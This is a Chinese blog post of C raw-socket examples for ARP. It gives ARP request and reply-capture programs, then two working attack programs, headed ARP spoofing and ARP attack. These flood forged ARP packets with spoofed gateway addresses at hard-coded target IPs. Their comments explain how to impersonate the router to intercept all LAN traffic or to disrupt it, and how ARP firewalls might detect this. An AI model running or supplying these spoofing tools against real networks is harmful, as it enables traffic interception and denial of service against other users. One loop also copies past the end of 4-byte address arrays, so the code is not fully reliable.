原始套接字--arp相关

arp请求示例

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <netpacket/packet.h>

/* 以太网帧首部长度 */
#define ETHER_HEADER_LEN sizeof(struct ether_header)
/* 整个arp结构长度 */
#define ETHER_ARP_LEN sizeof(struct ether_arp)
/* 以太网 + 整个arp结构长度 */
#define ETHER_ARP_PACKET_LEN ETHER_HEADER_LEN + ETHER_ARP_LEN
/* IP地址长度 */
#define IP_ADDR_LEN 4
/* 广播地址 */
#define BROADCAST_ADDR {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}

void err_exit(const char *err_msg)
{
    perror(err_msg);
    exit(1);
}

/* 填充arp包 */
struct ether_arp *fill_arp_packet(const unsigned char *src_mac_addr, const char *src_ip, const char *dst_ip)
{
    struct ether_arp *arp_packet;
    struct in_addr src_in_addr, dst_in_addr;
    unsigned char dst_mac_addr[ETH_ALEN] = BROADCAST_ADDR;

    /* IP地址转换 */
    inet_pton(AF_INET, src_ip, &src_in_addr);
    inet_pton(AF_INET, dst_ip, &dst_in_addr);

    /* 整个arp包 */
    arp_packet = (struct ether_arp *)malloc(ETHER_ARP_LEN);
    arp_packet->arp_hrd = htons(ARPHRD_ETHER);
    arp_packet->arp_pro = htons(ETHERTYPE_IP);
    arp_packet->arp_hln = ETH_ALEN;
    arp_packet->arp_pln = IP_ADDR_LEN;
    arp_packet->arp_op = htons(ARPOP_REQUEST);
    memcpy(arp_packet->arp_sha, src_mac_addr, ETH_ALEN);
    memcpy(arp_packet->arp_tha, dst_mac_addr, ETH_ALEN);
    memcpy(arp_packet->arp_spa, &src_in_addr, IP_ADDR_LEN);
    memcpy(arp_packet->arp_tpa, &dst_in_addr, IP_ADDR_LEN);

    return arp_packet;
}

/* arp请求 */
void arp_request(const char *if_name, const char *dst_ip)
{
    struct sockaddr_ll saddr_ll;
    struct ether_header *eth_header;
    struct ether_arp *arp_packet;
    struct ifreq ifr;
    char buf[ETHER_ARP_PACKET_LEN];
    unsigned char src_mac_addr[ETH_ALEN];
    unsigned char dst_mac_addr[ETH_ALEN] = BROADCAST_ADDR;
    char *src_ip;
    int sock_raw_fd, ret_len, i;

    if ((sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) == -1)
        err_exit("socket()");

    bzero(&saddr_ll, sizeof(struct sockaddr_ll));
    bzero(&ifr, sizeof(struct ifreq));
    /* 网卡接口名 */
    memcpy(ifr.ifr_name, if_name, strlen(if_name));

    /* 获取网卡接口索引 */
    if (ioctl(sock_raw_fd, SIOCGIFINDEX, &ifr) == -1)
        err_exit("ioctl() get ifindex");
    saddr_ll.sll_ifindex = ifr.ifr_ifindex;
    saddr_ll.sll_family = PF_PACKET;

    /* 获取网卡接口IP */
    if (ioctl(sock_raw_fd, SIOCGIFADDR, &ifr) == -1)
        err_exit("ioctl() get ip");
    src_ip = inet_ntoa(((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr);
    printf("local ip:%s\n", src_ip);

    /* 获取网卡接口MAC地址 */
    if (ioctl(sock_raw_fd, SIOCGIFHWADDR, &ifr))
        err_exit("ioctl() get mac");
    memcpy(src_mac_addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
    printf("local mac");
    for (i = 0; i < ETH_ALEN; i++)
        printf(":%02x", src_mac_addr[i]);
    printf("\n");

    bzero(buf, ETHER_ARP_PACKET_LEN);
    /* 填充以太首部 */
    eth_header = (struct ether_header *)buf;
    memcpy(eth_header->ether_shost, src_mac_addr, ETH_ALEN);
    memcpy(eth_header->ether_dhost, dst_mac_addr, ETH_ALEN);
    eth_header->ether_type = htons(ETHERTYPE_ARP);
    /* arp包 */
    arp_packet = fill_arp_packet(src_mac_addr, src_ip, dst_ip);
    memcpy(buf + ETHER_HEADER_LEN, arp_packet, ETHER_ARP_LEN);

    /* 发送请求 */
    ret_len = sendto(sock_raw_fd, buf, ETHER_ARP_PACKET_LEN, 0, (struct sockaddr *)&saddr_ll, sizeof(struct sockaddr_ll));
    if ( ret_len > 0)
        printf("sendto() ok!!!\n");

    close(sock_raw_fd);
}

int main(int argc, const char *argv[])
{
    if (argc != 3)
    {
        printf("usage:%s device_name dst_ip\n", argv[0]);
        exit(1);
    }

    arp_request(argv[1], argv[2]);
    
    return 0;
}
流程:命令行接收网卡接口名和要请求的目标IP地址,传入arp_request()函数。用PF_PACKET选项创建ARP类型的原始套接字。用ioctl()函数通过网卡接口名来获取该接口对应的mac地址,ip地址,接口索引。接口索引填充到物理地址sockaddr_ll里面。然后填充以太首部,源地址对应刚刚的网卡接口mac地址,目标地址填广播地址(第28行定义的宏)。以太首部帧类型是ETHERTYPE_ARP,代表arp类型。接着填充arp数据包结构,同样要填充源/目标的ip地址和mac地址,arp包的操作选项填写ARPOP_REQUEST,代表请求操作。填充完成后发送到刚刚的物理地址sockaddr_ll。
 
arp 接收示例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <net/ethernet.h>

/* 以太网帧首部长度 */
#define ETHER_HEADER_LEN sizeof(struct ether_header)
/* 整个arp结构长度 */
#define ETHER_ARP_LEN sizeof(struct ether_arp)
/* 以太网 + 整个arp结构长度 */
#define ETHER_ARP_PACKET_LEN ETHER_HEADER_LEN + ETHER_ARP_LEN
/* IP地址长度 */
#define IP_ADDR_LEN 4

void err_exit(const char *err_msg)
{
    perror(err_msg);
    exit(1);
}

int main(void)
{
    struct ether_arp *arp_packet;
    char buf[ETHER_ARP_PACKET_LEN];
    int sock_raw_fd, ret_len, i;

    if ((sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) == -1)
        err_exit("socket()");

    while (1)
    {
        bzero(buf, ETHER_ARP_PACKET_LEN);
        ret_len = recv(sock_raw_fd, buf, ETHER_ARP_PACKET_LEN, 0);
        if (ret_len > 0)
        {
            /* 剥去以太头部 */
            arp_packet = (struct ether_arp *)(buf + ETHER_HEADER_LEN);
            /* arp操作码为2代表arp应答 */
            if (ntohs(arp_packet->arp_op) == 2)
            {
                printf("==========================arp replay======================\n");
                printf("from ip:");
                for (i = 0; i < IP_ADDR_LEN; i++)
                    printf(".%u", arp_packet->arp_spa[i]);
                printf("\nfrom mac");
                for (i = 0; i < ETH_ALEN; i++)
                    printf(":%02x", arp_packet->arp_sha[i]);
                printf("\n");
            }
        }
    }

    close(sock_raw_fd);
    return 0;
}
流程:创建ARP类型的原始套接字。直接调用接收函数,会收到网卡接收的arp数据包,判断收到的arp包操作是arp应答,操作码是2。然后剥去以太首部,取出源mac地址和ip地址!!!
 
 
arp欺骗
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>


#define print_errno(fmt, ...) \
    printf("[%d] errno=%d (%s) #" fmt, \
        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv)
{
    struct ether_header *eth = NULL;
    struct ether_arp *arp = NULL;
    struct ifreq ifr;
    struct in_addr daddr;
    struct in_addr saddr;
    struct sockaddr_ll sll;

    int skfd;
    int n = 0;

    //unsigned char dmac[ETH_ALEN] = {0x40,0x8d,0x5c,0x79,0xa2,0xad};
     //unsigned char dmac[ETH_ALEN] = {0xbc,0xee,0x7b,0x5d,0xa9,0x22};
     unsigned char dmac[ETH_ALEN] = {0xff,0xff,0xff,0xff,0xff,0xff};
    /*伪造 源MAC*/
    unsigned char smac[ETH_ALEN] = {0x38,0x97,0xd6,0x51,0xa0,0x01};

    daddr.s_addr = inet_addr("219.216.87.201");
    /*伪造 源IP*/
    saddr.s_addr = inet_addr("219.216.87.254");

    memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);

    /*创建原始套接字*/
    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (skfd < 0) {
        print_errno("socket() failed! \n");
        return -1;
    }
    
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name, "eth0");
    if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
        print_errno("ioctl() SIOCGIFINDEX failed!\n");
        return -1;
    }
    printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);

    bzero(&sll, sizeof(sll));
    sll.sll_ifindex  = ifr.ifr_ifindex;
    sll.sll_family   = PF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);

    #if 0
    /*获取本机IP*/
    if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
        printf("ioctl() SIOCGIFADDR failed! \n");
        return -1;
    }
    printf("ifr_addr    = %s\n", \
        inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));

    /*获取本机MAC*/
    if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
        printf("ioctl() SIOCGIFHWADDR failed! \n");
        return -1;
    }
    printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
        (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[5]);


    #endif

    /*构造以太报文*/
    eth = (struct ether_header*)s_ip_frame_data;
    eth->ether_type = htons(ETHERTYPE_ARP);
    memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
    memcpy(eth->ether_shost, smac, ETH_ALEN);

    /*构造ARP报文*/   
    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
    arp->arp_hrd = htons(ARPHRD_ETHER); 
    arp->arp_pro = htons(ETHERTYPE_IP); 
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op  = htons(ARPOP_REQUEST);
    
    memcpy(arp->arp_sha, smac, ETH_ALEN);
    memcpy(arp->arp_spa, &saddr.s_addr, 4);
      /*
    memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
    memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
     
    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
    while(1){
         n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
        (struct sockaddr*)&sll, sizeof(sll));
        if (n < 0) {
            print_errno("sendto() failed!\n");
        }
        else {
            printf("sendto() n = %d \n", n);
        }
        usleep(10000);
    }
   
    close(skfd);
    return 0;
}

 

 

arp攻击

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>

#include <asm/types.h>

#include <math.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>

#define PROTO_ARP 0x0806
#define ETH2_HEADER_LEN 14
#define HW_TYPE 1
#define PROTOCOL_TYPE 0x800
#define MAC_LENGTH 6
#define IPV4_LENGTH 4
#define ARP_REQUEST 0x01
#define ARP_REPLY 0x02
#define BUF_SIZE 60

struct arp_header {
    unsigned short hardware_type;
    unsigned short protocol_type;
    unsigned char hardware_len;
    unsigned char protocol_len;
    unsigned short opcode;
    unsigned char sender_mac[MAC_LENGTH];
    unsigned char sender_ip[IPV4_LENGTH];
    unsigned char target_mac[MAC_LENGTH];
    unsigned char target_ip[IPV4_LENGTH];
};

void main() {
    int sd;
    unsigned char buffer[BUF_SIZE];

    /**
     * 在伪装成路由器情况下,
     * 1.自身需要实现路由器所有功能,将数据包转发给真正的路由器。否则目标会立即发现外网不可达;
     * 2. 由于有合法路由器在线,当被攻击目标主动发起arp查询时,合法路由器的响应会更新目标arp表,所以必须不断发送伪装的arp数据包到攻击目标 1秒1次;
     * 3. 合法路由器有mac地址表,应该不会主动询问某个地址,因此这种攻击方式很容易被arp防火墙识别(除非拦截攻击目标的arp查询,在合法路由器响应之前抢先一步将伪装的响应包发送给攻击目标.合法路由器的响应与伪装地址不一致,arp防火墙能够检测- -#)
     */
    unsigned char source_ip[4] = { 219, 216, 87, 100 }; //可设置任意LAN ip,设置未网关并把mac配置为自己网卡mac则可以伪装成路由器,配合路由服务,拦截lan 所有数据包
    unsigned char source_mac[6] = { 0x1e, 0xed, 0x19, 0x27, 0x1a, 0xb3 }; //可任意设置,单纯为了破坏内网通讯情况下设置为任意值,如果是伪装成路由器则设置成自己的mac
    unsigned char target_ip[4] = { 219, 216, 87, 201 }; //被攻击目标,循环发送给所有目标,并定时发送(压制);

    struct ethhdr *send_req = (struct ethhdr *) buffer;
    struct ethhdr *rcv_resp = (struct ethhdr *) buffer;
    struct arp_header *arp_req =
        (struct arp_header *) (buffer + ETH2_HEADER_LEN);
    struct arp_header *arp_resp = (struct arp_header *) (buffer
            + ETH2_HEADER_LEN);
    struct sockaddr_ll socket_address;
    int index, ret, length = 0;

    memset(buffer, 0x00, 60);

    for (index = 0; index < 6; index++) {

        send_req->h_dest[index] = (unsigned char) 0xff;
        arp_req->target_mac[index] = (unsigned char) 0x00;
        /* Filling the source  mac address in the header*/
        send_req->h_source[index] = (unsigned char) source_mac[index];
        arp_req->sender_mac[index] = (unsigned char) source_mac[index];
        socket_address.sll_addr[index] = (unsigned char) source_mac[index];
    }
    printf("Successfully got eth0 MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
            send_req->h_source[0], send_req->h_source[1], send_req->h_source[2],
            send_req->h_source[3], send_req->h_source[4],
            send_req->h_source[5]);
    printf(" arp_req MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
            arp_req->sender_mac[0], arp_req->sender_mac[1],
            arp_req->sender_mac[2], arp_req->sender_mac[3],
            arp_req->sender_mac[4], arp_req->sender_mac[5]);
    printf("socket_address MAC address: %02X:%02X:%02X:%02X:%02X:%02X\n",
            socket_address.sll_addr[0], socket_address.sll_addr[1],
            socket_address.sll_addr[2], socket_address.sll_addr[3],
            socket_address.sll_addr[4], socket_address.sll_addr[5]);

    /*prepare sockaddr_ll*/
    socket_address.sll_family = AF_PACKET;
    socket_address.sll_protocol = htons(ETH_P_ARP);
    socket_address.sll_ifindex = 3; //手动指定设备, ip a 指令查看网卡序号
    socket_address.sll_hatype = htons(ARPHRD_ETHER);
    socket_address.sll_pkttype = (PACKET_BROADCAST);
    socket_address.sll_halen = MAC_LENGTH;
    socket_address.sll_addr[6] = 0x00;
    socket_address.sll_addr[7] = 0x00;

    /* Setting protocol of the packet */
    send_req->h_proto = htons(ETH_P_ARP);

    /* Creating ARP request */
    arp_req->hardware_type = htons(HW_TYPE);
    arp_req->protocol_type = htons(ETH_P_IP);
    arp_req->hardware_len = MAC_LENGTH;
    arp_req->protocol_len = IPV4_LENGTH;
    arp_req->opcode = htons(ARP_REQUEST);
    for (index = 0; index < 5; index++) {
        arp_req->sender_ip[index] = (unsigned char) source_ip[index];
        arp_req->target_ip[index] = (unsigned char) target_ip[index];
    }
    // Submit request for a raw socket descriptor.
    if ((sd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
        perror("socket() failed ");
        exit(EXIT_FAILURE);
    }

    buffer[32] = 0x00;
    while(1){
        ret = sendto(sd, buffer, 42, 0, (struct sockaddr*) &socket_address,
            sizeof(socket_address));
        if (ret == -1) {
            perror("sendto():");
            exit(1);
        } else {
            printf(" Sent the ARP REQ \n");
            //for (index = 0; index < 42; index++) {
            //    printf("%02X ", buffer[index]);
            //    if (index % 16 == 0 && index != 0) {
            //        printf("\n\t");
            //    }
            //}
        }
        usleep(100000);
    }
    close(sd);
}

 

posted @ 2017-03-20 23:55  tla001  阅读(1129)  评论(0编辑  收藏  举报
个人网站 www.tla001.cn